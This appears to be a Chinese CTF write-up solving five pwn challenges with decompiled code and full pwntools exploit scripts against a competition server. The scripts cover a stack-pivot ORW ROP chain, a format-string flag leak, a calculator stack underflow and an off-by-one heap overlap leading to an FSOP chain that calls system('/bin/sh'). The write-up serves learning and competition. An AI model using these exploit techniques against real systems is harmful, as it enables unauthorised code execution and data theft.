pwn
摩登Pwn
第一次做这种gui pwn,搜了一下是rbf协议,https://remoteripple.com/download/ 用这个远程连接软件连接和题目进行交互
程序的逻辑是,会将输入转成无符号整数,然后判断”符号位”是不是负数,如果是就输出flag,所以只需要输入4字节无符号整数能表达是最大范围4294967295 就能拿到flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78
| __int64 __fastcall show_result(__int64 a1, __int64 a2) { __int64 type; // rsi __int64 v3; // rax __int64 buffer; // rax __int64 v5; // rax __int64 v6; // rax __int64 v7; // rax __int64 v8; // rax __int64 v9; // rsi __int64 v10; // rax __int64 v11; // rax __int64 v12; // rax char src[8]; // [rsp+10h] [rbp-100h] BYREF __int64 v15; // [rsp+18h] [rbp-F8h] __int64 v16; // [rsp+20h] [rbp-F0h] __int64 v17; // [rsp+28h] [rbp-E8h] __int64 v18; // [rsp+30h] [rbp-E0h] __int64 v19; // [rsp+38h] [rbp-D8h] __int64 v20; // [rsp+40h] [rbp-D0h] __int64 v21; // [rsp+48h] [rbp-C8h] char v22[128]; // [rsp+50h] [rbp-C0h] BYREF __int64 v23; // [rsp+D0h] [rbp-40h] FILE *stream; // [rsp+D8h] [rbp-38h] __int64 content_area; // [rsp+E0h] [rbp-30h] __int64 v26; // [rsp+E8h] [rbp-28h] unsigned int v27; // [rsp+F4h] [rbp-1Ch] __int64 v28; // [rsp+F8h] [rbp-18h] __int64 toplevel; // [rsp+100h] [rbp-10h] char *nptr; // [rsp+108h] [rbp-8h]
toplevel = gtk_widget_get_toplevel(a1); v28 = a2; type = gtk_entry_get_type(); v3 = g_type_check_instance_cast(v28, type); buffer = gtk_entry_get_buffer(v3); for ( nptr = (char *)gtk_entry_buffer_get_text(buffer); *nptr && (*nptr <= 48 || *nptr > 56); ++nptr ) ; v27 = strtoul(nptr, 0LL, 10); v26 = gtk_dialog_new_with_buttons("Result", toplevel, 2LL, &unk_401B58, 0xFFFFFFFFLL, 0LL); v5 = gtk_container_get_type(); v6 = g_type_check_instance_cast(v26, v5); gtk_container_set_border_width(v6, 10LL); v7 = gtk_window_get_type(); v8 = g_type_check_instance_cast(v26, v7); gtk_window_set_position(v8, 4LL); v9 = gtk_dialog_get_type(); v10 = g_type_check_instance_cast(v26, v9); content_area = gtk_dialog_get_content_area(v10); memset(v22, 0, sizeof(v22)); strcat(v22, "Your height is: "); if ( (v27 & 0x80000000) != 0 ) { *(_QWORD *)src = 0LL; v15 = 0LL; v16 = 0LL; v17 = 0LL; v18 = 0LL; v19 = 0LL; v20 = 0LL; v21 = 0LL; stream = fopen("/flag", "r"); __isoc99_fscanf(stream, "%s", src); fclose(stream); strcpy(&v22[16], src); } else { sprintf(&v22[16], "%d", v27); } strcat(v22, "cm"); v23 = gtk_label_new(v22); g_signal_connect_data(v26, (__int64)"response", (__int64)>k_widget_destroy, v26, 0LL, 2LL); v11 = gtk_container_get_type(); v12 = g_type_check_instance_cast(content_area, v11); gtk_container_add(v12, v23); return gtk_widget_show_all(v26); }
|
baby_stack
题目里有一个只允许orw的沙箱,然后子函数里面有一个栈溢出,不过溢出长度比较短,通过printf %s泄露libc基地址 和 栈相关的地址,栈迁移后打rop,先泄露栈地址,因为栈地址的在低地址,在泄露libc的地址
1 2 3 4 5 6 7 8 9 10 11 12
| ssize_t func() { char buf[320];
setbuf(stdin, 0LL); setbuf(stdout, 0LL); puts("please enter your content:"); read(0, buf, 0x150uLL); printf("%s", buf); puts("please enter your content again:"); return read(0, buf, 0x150uLL); }
|
其实restart一次就好了,(懒得改
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92
| from pwn import *
import itertools import ctypes
context(os='linux', arch='amd64', log_level='debug')
is_debug = 0 IP = "competition.blue-whale.me" PORT = 20618
elf = context.binary = ELF('./baby_stack') libc = elf.libc
def connect(): return remote(IP, PORT) if not is_debug else process()
g = lambda x: gdb.attach(x) s = lambda x: p.send(x) sl = lambda x: p.sendline(x) sa = lambda x, y: p.sendafter(x, y) sla = lambda x, y: p.sendlineafter(x, y) r = lambda x=None: p.recv() if x is None else p.recv(x) rl = lambda: p.recvline() ru = lambda x: p.recvuntil(x) r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])
p = connect()
pop_rdi_ret = 0x0000000000400b93 pop_rsi_r15_ret = 0x0000000000400b91 func = 0x400A76
payload = b'a' * 0x60 sa("please enter your content:",payload) ru(payload) stack = u64(r(6).ljust(8,b'\x00')) - (0x7fffd2cf0340 - 0x7fffd2cf0110) success(hex(stack))
payload = b'a' * 0x148 + p64(func) sa("please enter your content again:",payload)
payload = b'a' * 0x150 sa("please enter your content:",payload) ru(payload) libc_base = u64(r(6).ljust(8,b'\x00')) - (0x76227bc20840 - 0x76227bc00000) success(f"libc_base ->{hex(libc_base)}")
pop_rdx_ret = libc_base + 0x0000000000001b92 leave_ret = libc_base + 0x0000000000042361
payload = b'a' * 0x148 + p64(func) sa("please enter your content again:",payload)
target = stack + 0x10 - 0x8 open = libc_base + libc.sym['open'] read = libc_base + libc.sym['read'] write = libc_base + libc.sym['write'] bss = 0x601000
payload = b'a' * 3 sa("please enter your content:",payload)
payload = p64(pop_rdi_ret) + p64(0) payload += p64(pop_rsi_r15_ret) + p64(bss) + p64(0) payload += p64(pop_rdx_ret) + p64(0x8) payload += p64(read)
payload += p64(pop_rdi_ret) + p64(bss) payload += p64(pop_rsi_r15_ret) + p64(0) + p64(0) payload += p64(open)
payload += p64(pop_rdi_ret) + p64(3) payload += p64(pop_rsi_r15_ret) + p64(bss) + p64(0) payload += p64(pop_rdx_ret) + p64(0x40) payload += p64(read)
payload += p64(pop_rdi_ret) + p64(1) payload += p64(pop_rsi_r15_ret) + p64(bss) + p64(0) payload += p64(pop_rdx_ret) + p64(0x40) payload += p64(write)
payload = payload.ljust(0x140,b'a') payload += p64(target) + p64(leave_ret)
sa("please enter your content again:",payload) s(b"/flag\x00\x00\x00")
p.interactive()
|
padfmt
好新颖的题,没有见过这种类型的fmt,题目中有一个函数会把flag拷贝到栈上,思考了一会,可以用多个 %p组成的表达式去泄露栈相关的地址,因为memset过了一遍,所以不用考虑发送地址的时候 00位的问题,用 %p * n + %s + flag_addr去泄露flag的值
1 2 3
| 李华在学习了格式化字符串漏洞后大受震撼,但他突然想到 “对啊,如果我给 %n$p 里的 $ 过滤掉,再配合上一个很大块的空数据让 printf 随便泄露,不就是个安全的 printf 了吗!”
于是李华写了下面的这个 demo,看看聪明的你能不能打他的脸
|
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48
| from pwn import *
import itertools import ctypes
context(os='linux', arch='amd64', log_level='debug')
is_debug = 1 IP = "competition.blue-whale.me" PORT = 20477
elf = context.binary = ELF('./padfmt') libc = elf.libc
def connect(): return remote(IP, PORT) if not is_debug else process()
g = lambda x: gdb.attach(x) s = lambda x: p.send(x) sl = lambda x: p.sendline(x) sa = lambda x, y: p.sendafter(x, y) sla = lambda x, y: p.sendlineafter(x, y) r = lambda x=None: p.recv() if x is None else p.recv(x) rl = lambda: p.recvline() ru = lambda x: p.recvuntil(x) r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])
p = connect()
payload = "%p%p%p%p%p%p-%p" sla("what is your name?",payload) ru("-") leak = int(r(14),16) success(f"input_addr ->{hex(leak)}")
flag_addr = leak + (0x7ffe8cfa9480 - 0x7ffe8cfa9010) success(f"flag_addr ->{hex(flag_addr)}")
payload = b"%p%p%p%p%p%p%p%p%p%p%p%p%p%sAAAA" + p64(flag_addr)
sla("have anything else to say?",payload)
p.interactive()
|
卡死欧计算器
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116
| int __cdecl handle_input() { int v1; int v2; int v3; OPInfo_0 *v4; int v5; int v6; int v7; int v8; char *end; handle_input::$ABC3A5BA1621B0CECBED674EC3823104 op_stack; handle_input::$B79843162A86359B3DBF089CA1AEDE1A num_stack; int pre_res; double tmp; double r; double a; double b; double r_0; double a_0; double b_0; OPInfo_0 *prev; OPInfo_0 *curr; double r_1; double a_1; double b_1; OPInfo_0 *opi; int err; char *buf; int i;
printf("input: "); memset(input_buffer, 0, sizeof(input_buffer)); buf = fgets(input_buffer, 2000, stdin); if ( !buf ) return 0; pre_res = 0; err = preprocess(buf, &pre_res); if ( err ) { handle_preprocess_err(buf, err, pre_res); return 1; } else { num_stack.top = 0; num_stack.arr = (double *)malloc(8LL * pre_res); op_stack.top = 0; op_stack.arr = (char *)malloc(pre_res); *num_stack.arr = 0.0; for ( i = 0; buf[i]; ++i ) { if ( buf[i] != ' ' ) { if ( buf[i] > '/' && buf[i] <= '9' || buf[i] == 46 ) { tmp = strtod(&buf[i], &end); num_stack.arr[++num_stack.top] = tmp; i = (_DWORD)end - (_DWORD)buf - 1; } else if ( buf[i] == '(' ) { op_stack.arr[++op_stack.top] = '('; } else if ( buf[i] == ')' ) { while ( op_stack.arr[op_stack.top] != '(' ) { v1 = num_stack.top--; b = num_stack.arr[v1]; v2 = num_stack.top--; a = num_stack.arr[v2]; v3 = op_stack.top--; v4 = lookup_op(op_stack.arr[v3]); r = v4->op(a, b); num_stack.arr[++num_stack.top] = r; } --op_stack.top; } else { curr = lookup_op(buf[i]); while ( op_stack.top ) { prev = lookup_op(op_stack.arr[op_stack.top]); if ( !prev || curr->level > prev->level ) break; v5 = num_stack.top--; b_0 = num_stack.arr[v5]; v6 = num_stack.top--; a_0 = num_stack.arr[v6]; r_0 = prev->op(a_0, b_0); --op_stack.top; num_stack.arr[++num_stack.top] = r_0; } op_stack.arr[++op_stack.top] = curr->sym; } } } while ( op_stack.top ) { opi = lookup_op(op_stack.arr[op_stack.top]); v7 = num_stack.top--; b_1 = num_stack.arr[v7]; v8 = num_stack.top--; a_1 = num_stack.arr[v8]; r_1 = opi->op(a_1, b_1); --op_stack.top; num_stack.arr[++num_stack.top] = r_1; } printf("result: %lf\n", num_stack.arr[num_stack.top]); free(op_stack.arr); free(num_stack.arr); return 1; } }
|
看了一遍题目的逻辑,是一个基于栈的计算器。分析题目崩溃的样例() + () + 1,然后我构造了一些新的样例,比如说
1 2 3 4
| () + () + () () + () + 2 () + () + () + () (
|
再结合题目的逻辑分析,可以发现产生漏洞的原因是 () + () 这类表达式中没有判断运算符两边是否是一个操作数,num_stack 为空,凭空 pop了两次,能产生一个以num_stack为基地址 往低地址写任意数据的漏洞,不过result是iee754双精度的,所以要计算一下。
题目中有一个backdoor函数,在处理op_stack的时候,如果存在 ‘#’符号就会调用backdoor,所以目的非常清晰,用num_stack低地址写的漏洞去写op_stack中的内容
num_stack 和 op_stack在初始化的时候,op_stack是在高地址,可以利用glibc堆分配策略,先输入一个表达式产生chunk,再输入一个利用的表达式,保证利用表达式的有效长度 * 8 是大于旧的两个chunk,让op_stack和num_stack的高低地址进行调换
1 2 3
| num_stack.arr = (double *)malloc(8LL * pre_res); op_stack.top = 0; op_stack.arr = (char *)malloc(pre_res);
|
利用() + () + …..的表达式让 num stack的top指针指向op_stack,原本我想构造一个低n个字节为 0x23这样的iee754双精度浮点数,后面发现利用op_stack原本的数据 用除法去计算出这个数相比去构造iee754双精度浮点数来说会非常简单,利用程序处理运算符优先级顺序的逻辑,在修改的时候保证op_stack top >=1,然后把op_stack[top] 这个运算符改成0x23就好了,也就是构造 +()/340 这样的表达式
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51
| from pwn import *
import itertools import ctypes
context(os='linux', arch='amd64', log_level='debug')
is_debug = 1 IP = "competition.blue-whale.me" PORT = 20369
elf = context.binary = ELF('./kasio') libc = elf.libc
def connect(): return remote(IP, PORT) if not is_debug else process()
g = lambda x: gdb.attach(x) s = lambda x: p.send(x) sl = lambda x: p.sendline(x) sa = lambda x, y: p.sendafter(x, y) sla = lambda x, y: p.sendlineafter(x, y) r = lambda x=None: p.recv() if x is None else p.recv(x) rl = lambda: p.recvline() ru = lambda x: p.recvuntil(x) r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])
p = connect()
payload = "1+1+1+1+1+1+1+1+1+1+1+1"
sla("input: ",payload)
payload = "()+()+()+()+()+()/340"
sla("input: ",payload)
p.interactive()
|
one orange
不太熟悉glibc 2.23的利用方法,去学习了一下
https://www.cnblogs.com/ZIKH26/articles/16712469.html
https://xz.aliyun.com/t/12902?time__1311=mqmhqIx%2BhD7YDs%3DA4Cw4iTL4fxh30KeD&alichlgref=https%3A%2F%2Fcn.bing.com%2F#toc-13
https://www.anquanke.com/post/id/208407
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145
| void __fastcall __noreturn main(__int64 a1, char **a2, char **a3) { int v3; unsigned __int64 v4;
v4 = __readfsqword(0x28u); init_0(a1, a2, a3); while ( 1 ) { while ( 1 ) { puts("1.add"); puts("2.del"); puts("3.edit"); puts("4.show"); _isoc99_scanf("%d", &v3); if ( v3 != 2 ) break; del(); } if ( v3 > 2 ) { if ( v3 == 3 ) { edit(); } else if ( v3 == 4 ) { show(); } } else if ( v3 == 1 ) { add(); } } }
unsigned __int64 add() { unsigned int v0; unsigned int idx; int size; unsigned __int64 v4;
v4 = __readfsqword(0x28u); puts("which index?"); _isoc99_scanf("%d", &idx); if ( idx > 0xA || chunk_list[idx] || (puts("what size?"), _isoc99_scanf("%d", &size), size <= 223) || size > 992 ) { puts("go out"); } else { size_list[idx] = size; v0 = idx; chunk_list[v0] = malloc(size); puts("success!"); } return __readfsqword(0x28u) ^ v4; }
unsigned __int64 show() { unsigned int v1; unsigned __int64 v2;
v2 = __readfsqword(0x28u); puts("which index?"); _isoc99_scanf("%d", &v1); if ( v1 <= 0xA && chunk_list[v1] ) { puts("content:"); write(1, (const void *)chunk_list[v1], (int)size_list[v1]); puts(&byte_10FC); } else { puts("go out"); } return __readfsqword(0x28u) ^ v2; }
unsigned __int64 edit() { unsigned int v1; int i; unsigned __int64 v3;
v3 = __readfsqword(0x28u); puts("which index?"); _isoc99_scanf("%d", &v1); if ( v1 <= 0xA && chunk_list[v1] ) { puts("content:"); for ( i = 0; size_list[v1] >= i; ++i ) { read(0, (void *)(chunk_list[v1] + i), 1uLL); if ( *(_BYTE *)(chunk_list[v1] + i) == 10 ) { *(_BYTE *)(chunk_list[v1] + i) = 0; break; } } puts("success!"); } else { puts("go out"); } return __readfsqword(0x28u) ^ v3; }
unsigned __int64 del() { unsigned int v1; unsigned __int64 v2;
v2 = __readfsqword(0x28u); if ( delete_chance ) { puts("you just have one chance!"); puts("which index?"); _isoc99_scanf("%d", &v1); if ( v1 <= 0xA && chunk_list[v1] ) { printf("this is you want to delete: %p\n", (const void *)chunk_list[v1]); free((void *)chunk_list[v1]); chunk_list[v1] = 0LL; size_list[v1] = 0; --delete_chance; puts("success!"); } else { puts("go out"); } } else { puts("you have no chance!"); puts("go out"); } return __readfsqword(0x28u) ^ v2; }
|
可以发现在edit的时候有一个单字节的溢出 off by one, 只有一次free的机会,单字节溢出不足以满足house of orange的利用条件,但是可以同来构造一个堆叠
构造这样一个堆布局,edit(chunk B)将 chunk C的size修改成一个比较小的数,edit(chunk A)将chunkB的size修改成(chunkB + chunkC)的大小,将B free掉后再申请回来,就能构造出一个修改top chunk的uaf,但是这个是单字节的溢出,能构造的最大的写 top chunk的数据长度是 0xe8,不过刚刚好够https://xz.aliyun.com/t/12902?time__1311=mqmhqIx%2BhD7YDs%3DA4Cw4iTL4fxh30KeD&alichlgref=https%3A%2F%2Fcn.bing.com%2F#toc-13 这条利用链
1 2 3 4 5
| 低地址 chunk A(udata: 0xf8 prev_inuse: 1 sizeof(chunk->size): 8) chunk B(udata: 0xf8 prev_inuse: 1 sizeof(chunk->size): 8) chunk C(udata: 0xe8 prev_inuse: 1 sizeof(chunk->size): 8) 高地址
|
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100
| from pwn import *
import itertools import ctypes
context(os='linux', arch='amd64', log_level='debug')
is_debug = 1 IP = "competition.blue-whale.me" PORT = 20143
elf = context.binary = ELF('./one_orange') libc = elf.libc
def connect(): return remote(IP, PORT) if not is_debug else process()
g = lambda x: gdb.attach(x) s = lambda x: p.send(x) sl = lambda x: p.sendline(x) sa = lambda x, y: p.sendafter(x, y) sla = lambda x, y: p.sendlineafter(x, y) r = lambda x=None: p.recv() if x is None else p.recv(x) rl = lambda: p.recvline() ru = lambda x: p.recvuntil(x) r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])
p = connect()
def add(idx,size): sl("1") sla("which index?",str(idx)) sla("what size?",str(size))
def delete(idx): sl("2") sla("which index?",str(idx))
def show(idx): sl("4") sla("which index?",str(idx))
def edit(idx,content): sl("3") sla("which index?",str(idx)) sa("content:",content)
def edit2(idx,content): sl("3") sla("which index?",str(idx)) sla("content:",content)
add(0,0x398) add(1,0x398) add(2,0x398)
add(3,0xf8) add(4,0xf8) add(5,0xe8)
edit(3,b'\x00' * 0xf8 + b'\xf1') edit(4,b'\x00' * 0xf8 + b'\x41') delete(4) ru("this is you want to delete: ") heap_base = int(rl()[:-1],16) - (0x62aa5a9fbbf0 - 0x62aa5a9fb000)
add(4,0x108)
edit2(5,b'a' * 8 + p64(0x311)) add(6,0x328)
show(5) ru("a" * 8) r(8) leak = u64(r(6).ljust(8,b"\x00")) libc_base = leak - (0x00007f0b95fc4b78 - 0x7f0b95c00000) success(f"libc_base ->{hex(libc_base)}") success(f"heap_base ->{hex(heap_base)}")
_IO_list_all = libc_base + (0x6ffcda5c5520 - 0x6ffcda200000) system = libc_base + libc.sym['system'] success(hex(_IO_list_all))
chain = heap_base+0xcf0 payload = b'/bin/sh\x00' + p64(0x61) + p64(0) + p64(_IO_list_all - 0x10) payload += p64(0) + p64(1) + p64(0)*7+p64(chain) payload = payload.ljust(0xd8,b"\x00") payload += p64(chain+0xd8-0x10)+p64(system)
edit2(5,payload)
add(7,0x200)
p.interactive()
|